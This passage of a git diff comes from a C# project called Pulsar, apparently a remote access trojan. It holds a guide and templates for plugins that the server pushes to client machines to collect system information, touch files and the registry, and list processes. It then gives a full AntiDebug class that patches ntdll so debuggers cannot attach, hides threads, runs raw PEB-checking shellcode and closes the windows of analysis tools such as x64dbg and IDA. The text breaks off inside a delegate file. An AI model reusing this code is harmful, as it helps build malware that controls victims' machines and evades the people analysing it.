**`_isRunning`**: Your own variable to track if plugin is busy +- **`ShouldUnload`**: Tells system to remove plugin from memory when done + +### Plugin Lifecycle +1. **Initialize()**: Called when plugin loads (setup code here) +2. **ExecuteCommand()**: Called for each command from server +3. **IsComplete**: Checked to see if plugin is done +4. **Cleanup()**: Called when plugin is removed (cleanup code here) + +### PluginResult Properties +- **Success**: Did the command work? (true/false) +- **Message**: Status message for the server +- **Data**: Raw data to send back (use Encoding.UTF8.GetBytes()) +- **ShouldUnload**: Remove plugin when this command finishes? + +### initData Parameter +- **What it is**: Data sent from server to plugin when it loads +- **Common uses**: Configuration, webhook URLs, file paths +- **How to use**: `string config = Encoding.UTF8.GetString(initData);` + +## Creating Your First Plugin + +### Step 1: Create a New Project +1. Open Visual Studio +2. Create new **Class Library (.NET Framework 4.7.2)** project +3. Name it something like `MyFirstPlugin` + +### Step 2: Copy the Template Code +Replace your `Class1.cs` with this template: + +```csharp +using System; +using System.Text; +using Pulsar.Client.Plugins; + +namespace MyFirstPlugin +{ + public class MyFirstPlugin : IUniversalPlugin + { + // Plugin Information + public string PluginId => "myfirstplugin"; + public string Version => "1.0"; + public string[] SupportedCommands => new[] { "hello", "info", "status" }; + + // Plugin State + private bool _isRunning = false; + + // Initialize the plugin + public void Initialize(byte[] initData) + { + // This runs when the plugin is loaded + // initData contains any data sent from the server + } + + // Handle commands from the server + public PluginResult ExecuteCommand(string command, byte[] parameters) + { + try + { + switch (command) + { + case "hello": + return SayHello(); + + case "info": + return GetSystemInfo(); + + case "status": + return GetStatus(); + + default: + return new PluginResult + { + Success = false, + Message = "Unknown command" + }; + } + } + catch (Exception ex) + { + return new PluginResult + { + Success = false, + Message = $"Error: {ex.Message}" + }; + } + } + + // Check if plugin is done + public bool IsComplete => !_isRunning; + + // Cleanup when plugin is unloaded + public void Cleanup() + { + _isRunning = false; + } + + // Your custom methods + private PluginResult SayHello() + { + return new PluginResult + { + Success = true, + Message = "Hello from my first plugin!", + ShouldUnload = true + }; + } + + private PluginResult GetSystemInfo() + { + var info = new StringBuilder(); + info.AppendLine("=== System Information ==="); + info.AppendLine($"Computer: {Environment.MachineName}"); + info.AppendLine($"User: {Environment.UserName}"); + info.AppendLine($"OS: {Environment.OSVersion}"); + info.AppendLine($"Time: {DateTime.Now}"); + + return new PluginResult + { + Success = true, + Message = "System info collected", + Data = Encoding.UTF8.GetBytes(info.ToString()), + ShouldUnload = true + }; + } + + private PluginResult GetStatus() + { + return new PluginResult + { + Success = true, + Message = $"Plugin is running: {_isRunning}", + ShouldUnload = false + }; + } + } +} +``` + +### Step 3: Add Required References +Add these NuGet packages to your project: +- **MessagePack** +- **Pulsar.Common** + +### Step 4: Build Your Plugin +1. Build your project in **Release** mode +2. Copy the `.dll` file to the server's plugin directory +3. Test it through the Pulsar server interface + +## 🎨 Code Templates + +### Template 0: Auto-Loaded Message Box (Client Only) +```csharp +using System; +using System.Runtime.InteropServices; +using System.Text; +using Pulsar.Common.Plugins; + +namespace ActionPlugins +{ + public sealed class ActionPlugin : IUniversalPlugin + { + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type); + + public string PluginId => "actionplugin"; + public string Version => "1.0.0"; + public string[] SupportedCommands => Array.Empty(); + + public void Initialize(byte[] initData) + { + var message = initData is { Length: > 0 } + ? Encoding.UTF8.GetString(initData) + : "Action executed!"; + + MessageBox(IntPtr.Zero, message, "Action Plugin", 0); + } + + public PluginResult ExecuteCommand(string command, byte[] parameters) + { + return new PluginResult + { + Success = false, + Message = "No commands supported", + ShouldUnload = true + }; + } + + public bool IsComplete => true; + public void Cleanup() { } + } +} +``` +Compile the project as `ActionPlugin.Client.dll` (or any name ending in `.Client.dll`) and drop it into `Pulsar.Server/Plugins`. If you want to change the message at runtime, create a text file named `ActionPlugin.Client.init` next to the DLL containing the message body (UTF-8 encoded). + +### Template 1: Information Collector +```csharp +public class InfoCollector : IUniversalPlugin +{ + public string PluginId => "infocollector"; + public string Version => "1.0"; + public string[] SupportedCommands => new[] { "collect" }; + + public void Initialize(byte[] initData) { } + + public PluginResult ExecuteCommand(string command, byte[] parameters) + { + if (command == "collect") + { + var info = CollectInformation(); + return new PluginResult + { + Success = true, + Message = "Information collected", + Data = Encoding.UTF8.GetBytes(info), + ShouldUnload = true + }; + } + return new PluginResult { Success = false, Message = "Unknown command" }; + } + + public bool IsComplete => true; + public void Cleanup() { } + + private string CollectInformation() + { + // Your information collection code here + return "Collected information..."; + } +} +``` + +### Template 2: Action Plugin +```csharp +public class ActionPlugin : IUniversalPlugin +{ + public string PluginId => "actionplugin"; + public string Version => "1.0"; + public string[] SupportedCommands => new[] { "execute" }; + + private bool _isExecuting = false; + + public void Initialize(byte[] initData) { } + + public PluginResult ExecuteCommand(string command, byte[] parameters) + { + if (command == "execute") + { + _isExecuting = true; + var result = PerformAction(); + _isExecuting = false; + + return new PluginResult + { + Success = true, + Message = result, + ShouldUnload = true + }; + } + return new PluginResult { Success = false, Message = "Unknown command" }; + } + + public bool IsComplete => !_isExecuting; + public void Cleanup() { _isExecuting = false; } + + private string PerformAction() + { + // Your action code here + return "Action completed successfully!"; + } +} + +``` + +### Template 3: Context Menu Client + Server Pair +This example ships a client plugin and hooks a context menu item on the server. When the menu item is clicked, each selected client displays a message box. + +**Server plugin (compile as `ContextMenuMessage.Server.dll`):** + +```csharp +using System; +using System.Collections.Generic; +using System.IO; +using System.Reflection; +using System.Windows.Forms; +using Pulsar.Server.Networking; +using Pulsar.Server.Plugins; + +namespace ExamplePlugins.ContextMenu +{ + public sealed class ContextMenuServerPlugin : IServerPlugin + { + private string _pluginDirectory = string.Empty; + + public string Name => "Context Menu Message"; + public Version PluginVersion => new Version(1, 0, 0, 0); + public string Author => "Example"; + public string Description => "Adds a context menu entry that shows a client-side message box."; + public bool AutoLoadToClients => false; + + public void Initialize(IServerContext context) + { + _pluginDirectory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? AppDomain.CurrentDomain.BaseDirectory; + + context.AddClientContextMenuItem(new[] { "Examples" }, "Show Message", OnShowMessageClicked); + } + + public void Dispose() { } + + private void OnShowMessageClicked(IReadOnlyList clients) + { + try + { + var clientAssemblyPath = Path.Combine(_pluginDirectory, "ContextMenuMessage.Client.dll"); + if (!File.Exists(clientAssemblyPath)) + { + MessageBox.Show("ContextMenuMessage.Client.dll not found next to the server plugin.", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + var assemblyBytes = File.ReadAllBytes(clientAssemblyPath); + foreach (var client in clients) + { + var pluginId = $"context.menu.message.{client.Id:N}"; + PushSender.LoadUniversalPlugin(client, pluginId, assemblyBytes, Array.Empty(), "ExamplePlugins.ContextMenu.ContextMenuClientPlugin", "Initialize"); + } + } + catch (Exception ex) + { + MessageBox.Show($"Context menu plugin failed: {ex.Message}", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } +} +``` + +**Client plugin (compile as `ContextMenuMessage.Client.dll`):** + +```csharp +using System; +using System.Runtime.InteropServices; +using Pulsar.Common.Plugins; + +namespace ExamplePlugins.ContextMenu +{ + public sealed class ContextMenuClientPlugin : IUniversalPlugin + { + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type); + + public string PluginId => "contextmenumessage"; + public string Version => "1.0.0"; + public string[] SupportedCommands => Array.Empty(); + + public void Initialize(byte[] initData) + { + MessageBox(IntPtr.Zero, "Hello from the context menu action!", "Context Menu Plugin", 0); + } + + public PluginResult ExecuteCommand(string command, byte[] parameters) + { + return new PluginResult + { + Success = false, + Message = "No commands supported", + ShouldUnload = true + }; + } + + public bool IsComplete => true; + public void Cleanup() { } + } +} +``` + +Place both DLLs in `Pulsar.Server/Plugins`. The client DLL must keep the `.Client.dll` suffix so Pulsar auto-dispatches it. + +### Template 4: Server-Only Message Box Plugin +```csharp +using System; +using System.Windows.Forms; +using Pulsar.Server.Plugins; + +namespace ExamplePlugins.ServerOnly +{ + public sealed class ServerHelloPlugin : IServerPlugin + { + public string Name => "Server Hello"; + public Version PluginVersion => new Version(1, 0, 0, 0); + public string Author => "Example"; + public string Description => "Shows a message box when the plugin loads."; + public bool AutoLoadToClients => false; + + public void Initialize(IServerContext context) + { + MessageBox.Show("Hello from the server plugin!", "Server Hello", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + + public void Dispose() { } + } +} + + +## 🔧 Advanced Features + +### Working with Files +```csharp +private string ReadFile(string filePath) +{ + try + { + return File.ReadAllText(filePath); + } + catch (Exception ex) + { + return $"Error reading file: {ex.Message}"; + } +} + +private bool WriteFile(string filePath, string content) +{ + try + { + File.WriteAllText(filePath, content); + return true; + } + catch + { + return false; + } +} +``` + +### Working with Registry + +```csharp +private string GetRegistryValue(string keyPath, string valueName) +{ + try + { + using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(keyPath)) + { + return key?.GetValue(valueName)?.ToString() ?? "Not found"; + } + } + catch + { + return "Error accessing registry"; + } +} +``` + +### Working with Processes +```csharp +private string GetRunningProcesses() +{ + var processes = Process.GetProcesses(); + var result = new StringBuilder(); + + foreach (var process in processes.Take(10)) // Limit to first 10 + { + result.AppendLine($"{process.ProcessName} (PID: {process.Id})"); + } + + return result.ToString(); +} +``` + +## Stuff good to know about + +### 1. **Error Handling** +Always wrap your code in try-catch blocks: +```csharp +try +{ + // Your code here + return new PluginResult { Success = true, Message = "Success" }; +} +catch (Exception ex) +{ + return new PluginResult { Success = false, Message = ex.Message }; +} +``` + +### 2. **Resource Management** +Clean up resources in the `Cleanup()` method: +```csharp +private HttpClient _httpClient; + +public void Cleanup() +{ + _httpClient?.Dispose(); +} +``` + +### 3. **Memory Management** +Use `using` statements for disposable objects: +```csharp +using (var stream = new FileStream(path, FileMode.Open)) +{ + // Use stream here +} +``` + +### 4. **Plugin State** +Use the `IsComplete` property to indicate when your plugin is done: +```csharp +private bool _isProcessing = false; + +public bool IsComplete => !_isProcessing; +``` + +## Troubleshooting + +### Common Issues + +**1. "Plugin not found" error** +- Make sure your plugin implements `IUniversalPlugin` +- Check that `PluginId` is unique +- Verify the plugin is built in Release mode + +**2. "Command not supported" error** +- Add your command to the `SupportedCommands` array +- Make sure the command name matches exactly (case-sensitive) + +**3. "Plugin crashes" error** +- Add try-catch blocks around your code +- Check for null references +- Use the `Cleanup()` method to reset state + +**4. "Data not received" error** +- Make sure to set `Data` property in `PluginResult` +- Use `Encoding.UTF8.GetBytes()` for string data +- Check that `ShouldUnload` is set correctly + +### Debug Tips + +1. **Use the Message property** to return status information +2. **Set ShouldUnload = true** when your plugin is done +3. **Use the Data property** to return large amounts of data +4. **Test your plugin** with simple commands first + +## Need Help? + +1. **Start simple** with basic information collection +2. **Test frequently** during development +3. **ask** Do not ask me for help in t.me/PulsarPlugins , this project was a HEADACHE + +## You're Ready! + +You now have everything you need to create powerful Pulsar plugins. +Start with the simple templates and gradually work your way up to more complex plugins. +Remember: **start simple, test often, and have fun!** + +--- + +*Happy Plugin Development! (more like goodluck) * \ No newline at end of file diff --git a/Pulsar.Client/.DS_Store b/Pulsar.Client/.DS_Store new file mode 100644 index 0000000..4d9a912 Binary files /dev/null and b/Pulsar.Client/.DS_Store differ diff --git a/Pulsar.Client/Anti/.DS_Store b/Pulsar.Client/Anti/.DS_Store new file mode 100644 index 0000000..a3b7ecc Binary files /dev/null and b/Pulsar.Client/Anti/.DS_Store differ diff --git a/Pulsar.Client/Anti/AniDebug/AntiDebug.cs b/Pulsar.Client/Anti/AniDebug/AntiDebug.cs new file mode 100644 index 0000000..2850968 --- /dev/null +++ b/Pulsar.Client/Anti/AniDebug/AntiDebug.cs @@ -0,0 +1,551 @@ +using System; +using System.IO; +using System.Text; +using System.Threading; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Reflection; +using Pulsar.Client.Anti.Helper; +using static Pulsar.Client.Anti.Helper.Structs; + +namespace Pulsar.Client.Anti.Debugger +{ + public class AntiDebug + { + #region WinApi + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool SetHandleInformation(IntPtr hObject, uint dwMask, uint dwFlags); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern bool NtClose(IntPtr Handle); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr CreateMutexA(IntPtr lpMutexAttributes, bool bInitialOwner, string lpName); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool IsDebuggerPresent(); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetModuleHandle(string lib); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + int nSize, + out IntPtr lpNumberOfBytesWritten); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool ReadProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, out byte[] Buffer, uint size, out int NumOfBytes); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtSetInformationThread(IntPtr ThreadHandle, uint ThreadInformationClass, IntPtr ThreadInformation, int ThreadInformationLength); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientID); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern uint GetTickCount(); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetCurrentThread(); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern bool NtGetContextThread(IntPtr hThread, ref CONTEXT Context); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, uint ReturnLength); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, ref PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern int QueryFullProcessImageNameA(SafeHandle hProcess, uint Flags, byte[] lpExeName, Int32[] lpdwSize); + + [DllImport("win32u.dll", SetLastError = true)] + private static extern IntPtr NtUserGetForegroundWindow(); + + [DllImport("user32.dll", SetLastError = true)] + private static extern int GetWindowTextLengthA(IntPtr HWND); + + [DllImport("user32.dll", SetLastError = true)] + private static extern int GetWindowTextA(IntPtr HWND, StringBuilder WindowText, int nMaxCount); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtSetDebugFilterState(ulong ComponentId, uint Level, bool State); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern IntPtr memset(IntPtr Dst, int val, uint size); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); + + [DllImport("kernel32.dll")] + private static extern int GetLastError(); + + #endregion + + /// + /// Attempts to close an invalid handle to detect debugger presence. + /// specifies if we should use syscall to call the WinAPI functions. + /// + /// Returns true if an exception is caught, indicating no debugger, otherwise false. + public static bool NtCloseAntiDebug_InvalidHandle() + { + try + { + int RandomInt = new Random().Next(int.MinValue, int.MaxValue); + IntPtr RandomIntPtr = new IntPtr(RandomInt); + NtClose(RandomIntPtr); + return false; + } + catch + { + return true; + } + } + + /// + /// Attempts to close a protected handle to detect debugger presence. + /// specifies if we should use syscall to call the WinAPI functions. + /// + /// Returns true if an exception is caught, indicating no debugger, otherwise false. + public static bool NtCloseAntiDebug_ProtectedHandle() + { + string RandomMutexName = new Random().Next(int.MinValue, int.MaxValue).ToString(); + IntPtr hMutex = CreateMutexA(IntPtr.Zero, false, RandomMutexName); + uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002; + SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, HANDLE_FLAG_PROTECT_FROM_CLOSE); + bool Result = false; + try + { + NtClose(hMutex); + Result = false; + } + catch + { + Result = true; + } + SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0); + NtClose(hMutex); + return Result; + } + + /// + /// Checks if a debugger is attached to the process. + /// + /// Returns true if a debugger is attached, otherwise false. + public static bool DebuggerIsAttached() + { + return System.Diagnostics.Debugger.IsAttached; + } + + /// + /// Checks if a debugger is present using the IsDebuggerPresent API. + /// + /// Returns true if a debugger is present, otherwise false. + public static bool IsDebuggerPresentCheck() + { + if (IsDebuggerPresent()) + return true; + return false; + } + + /// + /// Checks for the BeingDebugged flag directly. + /// + /// Returns true if a debugger is present, otherwise false. + public static bool BeingDebuggedCheck() + { + byte[] Code = new byte[30]; + if (IntPtr.Size == 8) + Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 }; + else + Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 }; + IntPtr BeingDebugged = Utils.AllocateCode(Code); + if (BeingDebugged != IntPtr.Zero) + { + try + { + Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(BeingDebugged, typeof(Delegates.GenericInt)); + int Result = Executed(); + Utils.FreeCode(BeingDebugged); + if (Result == 1) + return true; + } + catch + { + Utils.FreeCode(BeingDebugged); + } + } + return false; + } + + /// + /// Checks for the NtGlobalFlag directly. + /// + /// Returns true if a debugger is present, otherwise false. + public static bool NtGlobalFlagCheck() + { + byte[] Code = new byte[30]; + if (IntPtr.Size == 8) + Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xBC, 0x00, 0x00, 0x00, 0x48, 0x83, 0xE0, 0x70, 0x48, 0x83, 0xF8, 0x70, 0x74, 0x04, 0x48, 0x31, 0xC0, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 }; + else + Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x68, 0x83, 0xE0, 0x70, 0x83, 0xF8, 0x70, 0x74, 0x03, 0x31, 0xC0, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 }; + IntPtr NtGlobalFlag = Utils.AllocateCode(Code); + if (NtGlobalFlag != IntPtr.Zero) + { + try + { + Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(NtGlobalFlag, typeof(Delegates.GenericInt)); + int Result = Executed(); + Utils.FreeCode(NtGlobalFlag); + if (Result == 1) + return true; + } + catch + { + Utils.FreeCode(NtGlobalFlag); + } + } + return false; + } + + /// + /// Checks if the process has debug flags set using NtQueryInformationProcess + /// specifies if we should use syscall to call the WinAPI functions. + /// + /// Returns true if debug flags are set, otherwise false. + public static bool NtQueryInformationProcessCheck_ProcessDebugFlags() + { + uint ProcessDebugFlags = 0; + NtQueryInformationProcess(new IntPtr(-1), 0x1F, out ProcessDebugFlags, sizeof(uint), 0); + if (ProcessDebugFlags == 0) + return true; + return false; + } + + /// + /// Checks if the process has a debug port using NtQueryInformationProcess. + /// specifies if we should use syscalls to call the WinAPI functions.. + /// + /// Returns true if a debug port is detected, otherwise false. + public static bool NtQueryInformationProcessCheck_ProcessDebugPort() + { + uint DebuggerPresent = 0; + uint Size = sizeof(uint); + if (Environment.Is64BitProcess) + Size = sizeof(uint) * 2; + NtQueryInformationProcess(new IntPtr(-1), 7, out DebuggerPresent, Size, 0); + if (DebuggerPresent != 0) + return true; + return false; + } + + /// + /// Checks if the process has a debug object handle using NtQueryInformationProcess. + /// specifies if we should use syscall to call the WinAPI functions. + /// + /// Returns true if a debug object handle is detected, otherwise false. + public static bool NtQueryInformationProcessCheck_ProcessDebugObjectHandle() + { + IntPtr hDebugObject = IntPtr.Zero; + uint Size = sizeof(uint); + if (Environment.Is64BitProcess) + Size = sizeof(uint) * 2; + + NtQueryInformationProcess(new IntPtr(-1), 0x1E, out hDebugObject, Size, 0); + if (hDebugObject != IntPtr.Zero) + return true; + return false; + } + + /// + /// Patches the DbgUiRemoteBreakin and DbgBreakPoint functions to prevent debugger attachment. + /// + /// Returns "Success" if the patching was successful, otherwise "Failed". + public static string AntiDebugAttach() + { + IntPtr NtdllModule = Utils.LowLevelGetModuleHandle("ntdll.dll"); + IntPtr DbgUiRemoteBreakinAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgUiRemoteBreakin"); + IntPtr DbgBreakPointAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgBreakPoint"); + byte[] Int3InvaildCode = { 0xCC }; + byte[] RetCode = { 0xC3 }; + bool Status = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 1, out IntPtr test); + bool Status2 = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgBreakPointAddress, RetCode, 1, out IntPtr test2); + if (Status && Status2) + return "Success"; + return "Failed"; + } + + /// + /// Checks for the presence of known debugger windows. + /// + /// Returns true if a known debugger window is detected, otherwise false. + public static bool FindWindowAntiDebug() + { + string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "cheat engine", "cheatengine", "ida" }; + Process[] GetProcesses = Process.GetProcesses(); + foreach (Process GetWindow in GetProcesses) + { + try + { + if (GetWindow.MainWindowHandle != IntPtr.Zero) + { + string title = GetWindow.MainWindowTitle; + if (string.IsNullOrEmpty(title)) continue; + + foreach (string BadWindows in BadWindowNames) + { + if (Utils.Contains(title, BadWindows)) + { + GetWindow.Close(); + return true; + } + } + } + } + catch + { + continue; + } + } + return false; + } + + /// + /// Checks if the foreground window belongs to a known debugger. + /// + /// Returns true if a known debugger window is detected, otherwise false. + public static bool NtUserGetForegroundWindowAntiDebug() + { + string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "debug", "debugger", "cheat engine", "cheatengine", "ida" }; + IntPtr HWND = NtUserGetForegroundWindow(); + if (HWND != IntPtr.Zero) + { + int WindowLength = GetWindowTextLengthA(HWND); + if (WindowLength != 0) + { + StringBuilder WindowName = new StringBuilder(WindowLength + 1); + GetWindowTextA(HWND, WindowName, WindowLength + 1); + foreach (string BadWindows in BadWindowNames) + { + if (Utils.Contains(WindowName.ToString().ToLower(), BadWindows)) + { + return true; + } + } + } + } + return false; + } + + /// + /// Hides threads from the debugger by setting the NtSetInformationThread. + /// + /// Returns "Success" if the threads were hidden successfully, otherwise "Failed". + public static string HideThreadsAntiDebug() + { + try + { + bool AnyThreadFailed = false; + int PID = Process.GetCurrentProcess().Id; + ProcessThreadCollection GetCurrentProcessThreads = Process.GetCurrentProcess().Threads; + foreach (ProcessThread Threads in GetCurrentProcessThreads) + { + CLIENT_ID CI = new CLIENT_ID + { + UniqueProcess = (IntPtr)PID, + UniqueThread = (IntPtr)Threads.Id + }; + + OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES + { + Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)), + RootDirectory = IntPtr.Zero, + ObjectName = IntPtr.Zero, + Attributes = 0, + SecurityDescriptor = IntPtr.Zero, + SecurityQualityOfService = IntPtr.Zero + }; + + IntPtr hThread = IntPtr.Zero; + uint Status = NtOpenThread(out hThread, 0x0020, ref Attributes, ref CI); + if (Status == 0 || hThread != IntPtr.Zero) + { + uint Status2 = NtSetInformationThread(hThread, 0x11, IntPtr.Zero, 0); + NtClose(hThread); + if (Status2 != 0x00000000) + AnyThreadFailed = true; + } + } + if (!AnyThreadFailed) + return "Success"; + return "Failed"; + } + catch + { + return "Failed"; + } + } + + /// + /// Uses GetTickCount to detect debugger presence. + /// + /// Returns true if debugger presence is detected, otherwise false. + public static bool GetTickCountAntiDebug() + { + uint Start = GetTickCount(); + Thread.Sleep(0x10); + return (GetTickCount() - Start) > 0x10; + } + + /// + /// Triggers a debug break to detect debugger presence. + /// + /// Returns true if an exception is caught, indicating no debugger, otherwise false. + public static bool DebugBreakAntiDebug() + { + try + { + Utils.CallInternalCLRFunction("BreakInternal", typeof(Debug), BindingFlags.NonPublic | BindingFlags.Static, null, null); + return false; + } + catch + { + return true; + } + } + + private static long CONTEXT_DEBUG_REGISTERS = 0x00010000L | 0x00000010L; + + /// + /// Detects hardware breakpoints by checking debug registers. + /// + /// Returns true if hardware breakpoints are detected, otherwise false. + public static bool HardwareRegistersBreakpointsDetection() + { + CONTEXT Context = new CONTEXT(); + Context.ContextFlags = CONTEXT_DEBUG_REGISTERS; + int PID = Process.GetCurrentProcess().Id; + foreach (ProcessThread Threads in Process.GetCurrentProcess().Threads) + { + uint THREAD_QUERY_INFORMATION = 0x0040; + CLIENT_ID CI = new CLIENT_ID + { + UniqueProcess = (IntPtr)PID, + UniqueThread = (IntPtr)Threads.Id + }; + + OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES + { + Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)), + RootDirectory = IntPtr.Zero, + ObjectName = IntPtr.Zero, + Attributes = 0, + SecurityDescriptor = IntPtr.Zero, + SecurityQualityOfService = IntPtr.Zero + }; + + IntPtr hThread = IntPtr.Zero; + uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI); + if (Status == 0 || hThread != IntPtr.Zero) + { + if (NtGetContextThread(hThread, ref Context)) + { + if ((Context.Dr1 != 0x00 || Context.Dr2 != 0x00 || Context.Dr3 != 0x00 || Context.Dr6 != 0x00 || Context.Dr7 != 0x00)) + { + NtClose(hThread); + return true; + } + } + NtClose(hThread); + } + } + return false; + } + + /// + /// Cleans the specified path by removing null characters. + /// + /// The path to clean. + /// The cleaned path. + private static string CleanPath(string Path) + { + string CleanedPath = null; + foreach (char Null in Path) + { + if (Null != '\0') + { + CleanedPath += Null; + } + } + return CleanedPath; + } + + /// + /// Uses NtSetDebugFilterState to prevent debugging. + /// + /// Returns true if the filter state was set successfully, otherwise false. + public static bool NtSetDebugFilterStateAntiDebug() + { + if (NtSetDebugFilterState(0, 0, true) != 0) + return false; + return true; + } + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate int ExecutionDelegate(); + + /// + /// Uses page guard to detect debugger presence by executing a function pointer. + /// + /// Returns true if debugger presence is detected, otherwise false. + public static bool PageGuardAntiDebug() + { + SYSTEM_INFO SysInfo = new SYSTEM_INFO(); + GetSystemInfo(out SysInfo); + uint MEM_COMMIT = 0x00001000; + uint MEM_RESERVE = 0x00002000; + uint PAGE_EXECUTE_READWRITE = 0x40; + uint PAGE_GUARD = 0x100; + uint MEM_RELEASE = 0x00008000; + IntPtr AllocatedSpace = VirtualAlloc(IntPtr.Zero, SysInfo.PageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (AllocatedSpace != IntPtr.Zero) + { + memset(AllocatedSpace, 1, 0xC3); + uint OldProtect = 0; + if (Utils.ProtectMemory(AllocatedSpace, (UIntPtr)SysInfo.PageSize, PAGE_EXECUTE_READWRITE | PAGE_GUARD, out OldProtect)) + { + try + { + ExecutionDelegate IsDebugged = Marshal.GetDelegateForFunctionPointer(AllocatedSpace); + int Result = IsDebugged(); + } + catch + { + VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE); + return false; + } + VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE); + return true; + } + } + return false; + } + } +} diff --git a/Pulsar.Client/Anti/Helper/Delegates.cs b/Pulsar.Client/Anti/Helper/Delegates.cs new file mode 100644 index 0000000..89468a9 --- /dev/null +++ b/Pulsar.Client/Anti/Helper/Delegates.cs @@ -0,0 +1,44 @@ +using System; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.Anti.Helper +{ + public class Delegates + { + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, out uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQueryInformationProcess2(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQueryInformationProcess3(IntPtr hProcess, uint ProcessInfoClass, ref Structs.PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool SysNtClose(IntPtr Handle); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQuerySystemInformation(uint SystemInformationClass, ref Structs.SYSTEM_CODEINTEGRITY_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint 